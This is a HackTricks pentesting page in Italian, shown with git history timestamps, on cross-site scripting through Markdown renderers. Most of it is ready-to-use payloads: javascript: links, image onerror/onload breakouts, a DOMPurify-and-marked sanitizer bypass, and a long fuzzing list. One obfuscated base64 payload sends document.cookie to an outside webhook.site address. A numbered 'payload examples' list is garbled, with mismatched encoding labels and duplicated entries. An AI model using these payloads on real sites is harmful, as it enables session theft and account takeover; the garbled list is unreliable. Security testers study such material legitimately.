hacktricks/pentesting-web/xss-cross-site-scripting/xss-in-markdown.md

245 lines
14 KiB
Markdown
Raw Normal View History

2022-05-05 23:53:10 +00:00
# XSS in Markdown
2022-10-11 12:43:12 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-11 12:43:12 +00:00
2024-02-10 13:03:23 +00:00
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-10-11 12:43:12 +00:00
</details>
2024-02-10 13:03:23 +00:00
Se hai la possibilità di iniettare codice in markdown, ci sono alcune opzioni che puoi utilizzare per attivare un XSS quando il codice viene interpretato.
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
### Tag HTML
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
Il modo più comune per ottenere un XSS in markdown è iniettare tag HTML comuni che eseguono javascript, perché diversi interpreti di markdown accetteranno anche HTML.
2022-05-05 23:53:10 +00:00
```html
<!-- XSS with regular tags -->
<script>alert(1)</script>
<img src=x onerror=alert(1) />
```
2024-02-10 13:03:23 +00:00
Puoi trovare ulteriori esempi nella [pagina principale di XSS di hacktricks](./).
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
### Link Javascript
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
Se i tag HTML non sono un'opzione, puoi sempre provare a giocare con la sintassi del markdown:
2022-05-05 23:53:10 +00:00
```html
<!-- markdow link to XSS, this usually always work but it requires interaction -->
[a](javascript:prompt(document.cookie))
<!-- Other links attacks with some bypasses -->
[Basic](javascript:alert('Basic'))
[Local Storage](javascript:alert(JSON.stringify(localStorage)))
[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))
[URL](javascript://www.google.com%0Aalert('URL'))
[In Quotes]('javascript:alert("InQuotes")')
[a](j a v a s c r i p t:prompt(document.cookie))
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](javascript:window.onerror=alert;throw%201)
```
2024-02-10 13:03:23 +00:00
### Abuso della sintassi dell'evento Img
L'abuso della sintassi dell'evento Img è una tecnica comune utilizzata per eseguire attacchi di cross-site scripting (XSS). Questa tecnica sfrutta la possibilità di inserire codice JavaScript all'interno dell'attributo `onerror` di un elemento `<img>`. Quando l'immagine non viene caricata correttamente, il codice JavaScript viene eseguito nel contesto del sito web ospitante, consentendo all'attaccante di eseguire azioni dannose.
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
Ecco un esempio di come viene utilizzata questa tecnica:
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
```markdown
[![Immagine](https://example.com/image.jpg" onerror="alert('XSS')")](https://example.com)
```
In questo esempio, l'attributo `onerror` viene utilizzato per inserire il codice JavaScript `alert('XSS')`. Quando l'immagine non viene caricata correttamente, viene visualizzato un popup con il messaggio "XSS".
Gli attaccanti possono sfruttare questa tecnica per rubare informazioni sensibili, eseguire azioni dannose o compromettere la sicurezza del sito web. Per mitigare questo tipo di attacco, è importante validare e filtrare correttamente i dati di input e utilizzare tecniche di sanitizzazione per evitare l'esecuzione di codice JavaScript non autorizzato.
2022-05-05 23:53:10 +00:00
```markdown
![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```
2024-02-10 13:03:23 +00:00
### Bypass del Markdown del Sanitizzatore HTML
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
Il seguente codice sta **sanitizzando l'input HTML** e poi **passandolo al parser Markdown**, quindi, è possibile attivare XSS sfruttando le interpretazioni errate tra Markdown e DOMPurify&#x20;
2022-05-05 23:53:10 +00:00
```html
2024-02-07 04:05:50 +00:00
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
2022-05-05 23:53:10 +00:00
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/marked@4.0.14/lib/marked.umd.min.js"></script>
<script>
const qs = new URLSearchParams(location.search);
if (qs.get("content")?.length > 0) {
2024-02-10 13:03:23 +00:00
document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
2022-05-05 23:53:10 +00:00
}
</script>
```
2024-02-10 13:03:23 +00:00
Esempi di payload:
1. Payload di base:
```
<script>alert('XSS')</script>
```
2. Payload con codifica HTML:
```
&lt;script&gt;alert('XSS')&lt;/script&gt;
```
3. Payload con codifica URL:
```
%3Cscript%3Ealert('XSS')%3C/script%3E
```
4. Payload con codifica JavaScript:
```
%3Cscript%3Ealert(%27XSS%27)%3C/script%3E
```
5. Payload con codifica HTML e JavaScript:
```
&#x3C;script&#x3E;alert('XSS')&#x3C;/script&#x3E;
```
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
6. Payload con codifica CSS:
```
expression(alert('XSS'))
```
2022-05-05 23:53:10 +00:00
2024-02-10 13:03:23 +00:00
7. Payload con codifica HTML e CSS:
```
exp&#x72;ession(alert('XSS'))
```
8. Payload con codifica HTML, CSS e JavaScript:
```
exp&#x72;ession&#x28;alert('XSS')&#x29;
```
9. Payload con codifica HTML, CSS, JavaScript e URL:
```
exp&#x72;ession&#x28;ale&#x72;t(%27XSS%27)&#x29;
```
10. Payload con codifica HTML, CSS, JavaScript, URL e Unicode:
```
exp&#x72;ession&#x28;ale&#x72;t(%27XSS%27)&#x29;
```
11. Payload con codifica HTML, CSS, JavaScript, URL, Unicode e base64:
```
e&#x78;pression(atob(%27YWxlcnQoJ1hTUycpJw==%27))
```
12. Payload con codifica HTML, CSS, JavaScript, URL, Unicode, base64 e commenti:
```
e&#x78;pression(atob(%27YWxlcnQoJ1hTUycpJw==%27))//'
```
13. Payload con codifica HTML, CSS, JavaScript, URL, Unicode, base64, commenti e tag HTML:
```
e&#x78;pression(atob(%27YWxlcnQoJ1hTUycpJw==%27))//'</script><script>alert('XSS')</script>
```
2022-05-05 23:53:10 +00:00
```html
<div id="1
![](contenteditable/autofocus/onfocus=confirm('qwq')//)">
-----------------------------------------------
<a title="a
<img src=x onerror=alert(1)>">yep</a>
------------------------------------------------
[x](y '<style>')<!--</style><div id="x--><img src=1 onerror=alert(1)>"></div>
----------------------------------------------
[<p x='<style onload=eval(atob(/bG9jYXRpb249YGh0dHBzOi8vd2ViaG9vay5zaXRlL2FiM2IyYjg5LTg1YTktNGU0YS1hNjg0LTUxN2M1ZjQwNmZmMj9mPWArZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50LmNvb2tpZSk/.source))>](#'></p>)
----------------------------------------------
2022-05-18 23:05:43 +00:00
`<p x="`<img src=x onerror=alert(1)>"></p>
2022-05-05 23:53:10 +00:00
```
### Fuzzing
2024-02-10 13:03:23 +00:00
Il fuzzing è una tecnica di test che consiste nell'inviare dati casuali o semi-casuali a un'applicazione al fine di individuare eventuali vulnerabilità. Questo può essere fatto inviando input non validi o inaspettati per verificare come l'applicazione gestisce tali dati. Il fuzzing può essere utilizzato per individuare vulnerabilità come buffer overflow, XSS (Cross-Site Scripting) e SQL injection.
2022-05-05 23:53:10 +00:00
```html
2024-02-10 13:03:23 +00:00
<!--
Fuzzing examples from
- https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt
2022-05-05 23:53:10 +00:00
- https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields
-->
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)>
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a'"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[notmalicious](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[clickme](vbscript:alert(document.domain))
_http://danlec_@.1 style=background-image:url(data:image/png;base64,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);background-repeat:no-repeat;display:block;width:100%;height:100px; onclick=alert(unescape(/Oh%20No!/.source));return(false);//
<http://\<meta\ http-equiv=\"refresh\"\ content=\"0;\ url=http://danlec.com/\"\>>
[text](http://danlec.com " [@danlec](/danlec) ")
[a](javascript:this;alert(1))
[a](javascript:this;alert(1&#41;)
[a](javascript&#58this;alert(1&#41;)
[a](Javas&#99;ript:alert(1&#41;)
[a](Javas%26%2399;ript:alert(1&#41;)
[a](javascript:alert&#65534;(1&#41;)
[a](javascript:confirm(1)
[a](javascript://www.google.com%0Aprompt(1))
[a](javascript://%0d%0aconfirm(1);com)
[a](javascript:window.onerror=confirm;throw%201)
[a](javascript:alert(document.domain&#41;)
[a](javascript://www.google.com%0Aalert(1))
[a]('javascript:alert("1")')
[a](JaVaScRiPt:alert(1))
![a](https://www.google.com/image.png"onload="alert(1))
![a]("onerror="alert(1))
</http://<?php\><\h1\><script:script>confirm(2)
[XSS](.alert(1);)
[ ](https://a.de?p=[[/data-x=. style=background-color:#000000;z-index:999;width:100%;position:fixed;top:0;left:0;right:0;bottom:0; data-y=.]])
[ ](http://a?p=[[/onclick=alert(0) .]])
[a](javascript:new%20Function`al\ert\`1\``;)
[XSS](javascript:prompt(document.cookie))
2024-02-10 13:03:23 +00:00
[X
[XSS](&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;)
2022-05-05 23:53:10 +00:00
[XSS]: (javascript:prompt(document.cookie))
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0aprompt(1))
[XSS](javascript://%0d%0aprompt(1);com)
[XSS](javascript:window.onerror=alert;throw%20document.cookie)
[XSS](javascript://%0d%0awindow.onerror=alert;throw%20document.cookie)
[XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[XSS](vbscript:alert(document.domain))
[XSS](javascript:this;alert(1))
[XSS](javascript:this;alert(1&#41;)
[XSS](javascript&#58this;alert(1&#41;)
[XSS](Javas&#99;ript:alert(1&#41;)
[XSS](Javas%26%2399;ript:alert(1&#41;)
[XSS](javascript:alert&#65534;(1&#41;)
[XSS](javascript:confirm(1)
[XSS](javascript://%0d%0aconfirm(1);com)
[XSS](javascript:window.onerror=confirm;throw%201)
[XSS](<EFBFBD>javascript:alert(document.domain&#41;)
![XSS](javascript:prompt(document.cookie))\
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
```
2022-10-11 12:43:12 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-11 12:43:12 +00:00
2024-02-10 13:03:23 +00:00
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
2022-10-11 12:43:12 +00:00
</details>